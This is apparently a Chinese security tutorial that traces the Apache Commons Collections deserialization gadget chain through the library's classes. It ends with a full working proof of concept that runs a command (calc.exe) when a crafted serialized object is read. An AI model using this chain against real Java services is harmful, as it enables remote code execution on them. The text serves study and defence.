java中本地命令执行常常用到反射+Runtime类
Class rtClass = Class.forName("java.lang.Runtime");
Object rt = rtClass.getMethod("getRuntime").invoke(rtClass);
rtClass.getMethod("exec",String.class).invoke(rt,"calc.exe");
之前分析了简单的URLDNS链,这里分析Apache Commons Collections链 也就是CC链
那么我们先看看漏洞起因:
public interface Transformer {
public Object transform(Object input);
}
首先以下的部分类实现了Transformer,serializable接口,实现了transform方法,我们看看关键的类
1.InvokerTransformer类反射执行命令
implements Transformer, Serializable
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
首先第一个构造函数,(方法名,形参列表,给参数一传入的实参列表)
transform方法利用反射让对象去执行方法,那么我们岂不是可以让Runtime对象去执行exec
package com.zzy.ApacheCC;
import org.apache.commons.collections.functors.InvokerTransformer;
public class TransTest1 {
public static void main(String[] args) {
InvokerTransformer exec = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
);
Object input = Runtime.getRuntime();
exec.transform(input);
}
}
到这里我们仅仅实现了本地命令执行,怎么让目标自动触发transform?怎么把恶意参数传入?
2.ConstantTransformer类返回一个对象
implements Transformer, Serializable
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
该类的构造方法接收一个对象,并存储在成员变量中,transform方法返回这个对象,看似 没什么作用,但是它可以作为回调,返回一个对象。也就是如果在别的地方调用了这个对象的transform方法就可以得到这个对象存储在成员变量中的对象
3.ChainedTransformer遍历数组,依次调用数组元素的transform方法
implements Transformer, Serializable
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
这个类竟然接受一个Transform接口数组,利用多态特性我们可以把实现类传入
我们传入数组后再调用它的transform方法
transform方法中遍历整个数组并依次调用数组中每个对象的transform方法,并将返回值作为下一个transform方法的形参
到这里我们解决了InvokerTransformer.transform()的调用问题,我们先完善poc,实现前三个类的联动效果
package com.zzy.ApacheCC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class TransTest2 {
public static void main(String[] args) {
Transformer[] transformers = {
//该对象的transform方法会返回输入的对象-->则返回Runtime类对象
new ConstantTransformer(Runtime.class),
//该对象的Transform方法返回一个对象-->通过Runtime类对象的.getClass()方法获得Class类对象
// Class类对象调用getMethod方法获得getMethod方法对象(这样就可以让Runtime类对象来调用)
//getMethod对象调用invoke方法获取到getRuntime方法对象
// 总体如下
//Class cls = Runtime.class.getClass(); //class java.lang.Class
//Method method = cls.getMethod("getMethod", new Class[]{String.class, Class[].class});
//Object invoke = method.invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]});
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
//getRuntime方法对象通过getClass方法得到Method类对象
//Method类对象通过getMethod方法获得invoke方法对象
//invoke方法对象调用invoke(getRuntime对象,new Object[]{null, null})
//即getRuntime对象.invoke(null,null)-->null.getRuntime()
//getRuntime方法对象执行invoke方法获取Runtime对象(null 可以理解为:Runtime r = null)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
//Runtime对象通过getClass方法获取Runtime类对象
//Runtime类对象通过getMethod方法获得exec方法对象
//exec方法对象调用invoke方法
//Runtime对象通过invoke方法调用exec方法
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
)
};
//该类可以传入Transfomer对象数组,以上的类都实现了Transformer接口,重写了Transform方法
//该类遍历对象数组,依次调用Transform方法,并将每一次调用的返回对象作为下一个元素调用的形参
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
}
}
虽然解决了第一个问题,但是新的问题来了,怎么调用ChainedTransformers.transform方法而且还需要传入一个数组
4.TransformedMap
extends AbstractInputCheckedMapDecorator implements Serializable
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
TransformedMap的decorate方法返回一个实例对象
我们发现TransformedMap的checkSetValue方法调用了第三个参数的transform方法
我们就可以这样传参数TransformedMap.decorate(map,null,ChainedTransformers对象)
但是这个chekSetValue方法修饰符为protected,最大范围为不同包的子类,无法直接调用
那么我们需要再找一个可以调用checkSetValue方法的类
5.AbstractInputCheckedMapDecorator
我们先看看TransformedMap的父类AbstractInputCheckedMapDecorator
public Set entrySet() {
return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this) : super.map.entrySet());
}
static class EntrySetIterator extends AbstractIteratorDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
super(iterator);
this.parent = parent;
}
public Object next() {
Entry entry = (Entry)super.iterator.next();
return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);
}
}
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}
我们发现setValue方法调用了checkSetValue方法,那么怎么调用setValue方法?
6.AnnotationInvocationHandler
implements InvocationHandler, Serializable
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
这个类中readObject方法中调用checkSetValue方法,readObject不就是反序列化的关键方法吗
这里具体分析var5.setValue是怎么执行的.
memberValues就是我们传入的TransformedMap对象
memberValues.entrySet().iterator ---->hasNext() ---->next() ---->setValue
我们看看这个next方法返回什么
static class EntrySetIterator extends AbstractIteratorDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
super(iterator);
this.parent = parent;
}
public Object next() {
Entry entry = (Entry)super.iterator.next();
return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);
}
}
返回一个MapEntry,那最后不就是调用了MapEntry.setValue(),setValue调用checkSetValue
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
}
这里的parent就是我们的TransformedMap对象
再看一眼checkSetValue方法,ChainedTransformer.transform被调用,完成命令执行
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
好到这里cc链已经完整,附上POC和流程图
package com.zzy.ApacheCC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Poc {
public static void main(String[] args) throws Exception{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
)
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","");
Map outerMap = TransformedMap.decorate(innerMap,null,ct);
//以下对两种调用方式给以比较说明:
//Class.newInstance() 只能够调用无参的构造函数,即默认的构造函数;
//Constructor.newInstance() 可以根据传入的参数,调用任意构造构造函数。
Class<?> cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cst = cl.getDeclaredConstructor(Class.class, Map.class);
cst.setAccessible(true);
Object exploit = cst.newInstance(Target.class, outerMap);
//序列化
ObjectOutputStream outStream = new ObjectOutputStream(new FileOutputStream("D:/exp.xxx"));
outStream.writeObject(exploit);
outStream.close();
//反序列化
ObjectInputStream inputS = new ObjectInputStream(new FileInputStream("D:/exp.xxx"));
Object result = inputS.readObject();
inputS.close();
System.out.println(result);
}
}
本文仅供参考学习交流